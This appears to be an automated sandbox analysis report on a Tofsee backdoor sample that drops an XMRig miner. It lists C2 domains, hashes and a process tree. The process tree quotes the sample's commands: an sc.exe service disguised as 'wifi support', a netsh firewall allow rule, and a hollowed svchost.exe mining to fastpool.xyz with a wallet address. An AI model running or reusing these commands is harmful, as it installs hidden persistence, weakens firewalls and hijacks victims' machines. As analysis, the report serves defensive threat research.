Analysis

  • max time kernel
    142s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2022, 00:24

General

  • Target
    file.exe
  • Size 148KB
  • Sample221127-ap2m3sah41
  • SHA256 ff31e6b129c9df8b8a229ca06e4093a00b12075f141a6080c840a390263f90f8
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4808
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\odnkalbf\
      2⤵
        PID:1008
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\knwhhdda.exe" C:\Windows\SysWOW64\odnkalbf\
        2⤵
          PID:1552
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create odnkalbf binPath= "C:\Windows\SysWOW64\odnkalbf\knwhhdda.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4084
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description odnkalbf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3708
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start odnkalbf
          2⤵
          • Launches sc.exe
          PID:116
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3380
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4808 -s 1036
          2⤵
          • Program crash
          PID:432
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4808 -ip 4808
        1⤵
          PID:1916
        • C:\Windows\SysWOW64\odnkalbf\knwhhdda.exe
          C:\Windows\SysWOW64\odnkalbf\knwhhdda.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:692
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1152
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4256
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 692 -s 512
            2⤵
            • Program crash
            PID:3280
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 692 -ip 692
          1⤵
            PID:3104

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                knwhhdda.exe

                • Path C:\Users\Admin\AppData\Local\Temp\knwhhdda.exe
                • Size 11.8MB
                • SHA256 99947f6b787bb2365c1fe7ae472536591cf0b571cb119908bb0d7b14138e1cd3
                • MD5 SHA1 SHA512 SSDEEP

                knwhhdda.exe

                • Path C:\Windows\SysWOW64\odnkalbf\knwhhdda.exe
                • Size 11.8MB
                • SHA256 99947f6b787bb2365c1fe7ae472536591cf0b571cb119908bb0d7b14138e1cd3
                • MD5 SHA1 SHA512 SSDEEP

                memory/692-149-0x0000000000400000-0x000000000045A000-memory.dmp

                memory/692-148-0x00000000007D8000-0x00000000007E9000-memory.dmp

                memory/1152-152-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                memory/1152-151-0x0000000000EC0000-0x0000000000ED5000-memory.dmp

                memory/1152-167-0x00000000035D0000-0x00000000035D7000-memory.dmp

                memory/1152-164-0x0000000008100000-0x000000000850B000-memory.dmp

                memory/1152-161-0x0000000002EC0000-0x0000000002EC5000-memory.dmp

                memory/1152-158-0x0000000002D50000-0x0000000002D60000-memory.dmp

                memory/1152-145-0x0000000000EC0000-0x0000000000ED5000-memory.dmp

                memory/1152-155-0x00000000021F0000-0x00000000021F6000-memory.dmp

                memory/1152-150-0x0000000000EC0000-0x0000000000ED5000-memory.dmp

                memory/4256-171-0x0000000000520000-0x0000000000611000-memory.dmp

                memory/4256-176-0x0000000000520000-0x0000000000611000-memory.dmp

                memory/4808-133-0x00000000005B0000-0x00000000005C3000-memory.dmp

                memory/4808-132-0x000000000071D000-0x000000000072D000-memory.dmp

                memory/4808-134-0x0000000000400000-0x000000000045A000-memory.dmp

                memory/4808-143-0x0000000000400000-0x000000000045A000-memory.dmp